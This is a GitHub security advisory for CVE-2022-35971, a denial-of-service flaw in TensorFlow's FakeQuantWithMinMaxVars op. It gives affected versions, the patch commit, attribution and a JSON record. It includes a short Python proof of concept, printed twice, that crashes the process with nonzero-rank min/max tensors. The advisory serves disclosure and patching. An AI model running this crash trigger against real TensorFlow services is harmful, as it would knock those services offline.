ghsa-9fpg-838v-wpv7
Vulnerability from github
Impact
If FakeQuantWithMinMaxVars
is given min
or max
tensors of a nonzero rank, it results in a CHECK
fail that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
num_bits = 8 narrow_range = False inputs = tf.constant(0, shape=[2,3], dtype=tf.float32) min = tf.constant(0, shape=[2,3], dtype=tf.float32) max = tf.constant(0, shape=[2,3], dtype=tf.float32) tf.raw_ops.FakeQuantWithMinMaxVars(inputs=inputs, min=min, max=max, num_bits=num_bits, narrow_range=narrow_range) ```
Patches
We have patched the issue in GitHub commit 785d67a78a1d533759fcd2f5e8d6ef778de849e0.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by: - Neophytos Christou, Secure Systems Labs, Brown University. - 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology
{ "affected": [ { "package": { "ecosystem": "PyPI", "name": "tensorflow" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.7.2" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow" }, "ranges": [ { "events": [ { "introduced": "2.8.0" }, { "fixed": "2.8.1" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow" }, "ranges": [ { "events": [ { "introduced": "2.9.0" }, { "fixed": "2.9.1" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-cpu" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.7.2" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-cpu" }, "ranges": [ { "events": [ { "introduced": "2.8.0" }, { "fixed": "2.8.1" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-cpu" }, "ranges": [ { "events": [ { "introduced": "2.9.0" }, { "fixed": "2.9.1" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-gpu" }, "ranges": [ { "events": [ { "introduced": "2.9.0" }, { "fixed": "2.9.1" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-gpu" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "2.7.2" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-gpu" }, "ranges": [ { "events": [ { "introduced": "2.8.0" }, { "fixed": "2.8.1" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2022-35971" ], "database_specific": { "cwe_ids": [ "CWE-617" ], "github_reviewed": true, "github_reviewed_at": "2022-09-16T22:20:09Z", "nvd_published_at": "2022-09-16T21:15:00Z", "severity": "MODERATE" }, "details": "### Impact\nIf `FakeQuantWithMinMaxVars` is given `min` or `max` tensors of a nonzero rank, it results in a `CHECK` fail that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\nnum_bits = 8\nnarrow_range = False\ninputs = tf.constant(0, shape=[2,3], dtype=tf.float32)\nmin = tf.constant(0, shape=[2,3], dtype=tf.float32)\nmax = tf.constant(0, shape=[2,3], dtype=tf.float32)\ntf.raw_ops.FakeQuantWithMinMaxVars(inputs=inputs, min=min, max=max, num_bits=num_bits, narrow_range=narrow_range)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [785d67a78a1d533759fcd2f5e8d6ef778de849e0](https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by:\n - Neophytos Christou, Secure Systems Labs, Brown University.\n - \u5218\u529b\u6e90, Information System \u0026 Security and Countermeasures Experiments Center, Beijing Institute of Technology\n", "id": "GHSA-9fpg-838v-wpv7", "modified": "2022-09-19T19:36:24Z", "published": "2022-09-16T22:20:09Z", "references": [ { "type": "WEB", "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-9fpg-838v-wpv7" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35971" }, { "type": "WEB", "url": "https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0" }, { "type": "PACKAGE", "url": "https://github.com/tensorflow/tensorflow" }, { "type": "WEB", "url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "type": "CVSS_V3" } ], "summary": " TensorFlow vulnerable to `CHECK` fail in `FakeQuantWithMinMaxVars`" }
Sightings
Author | Source | Type | Date |
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Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.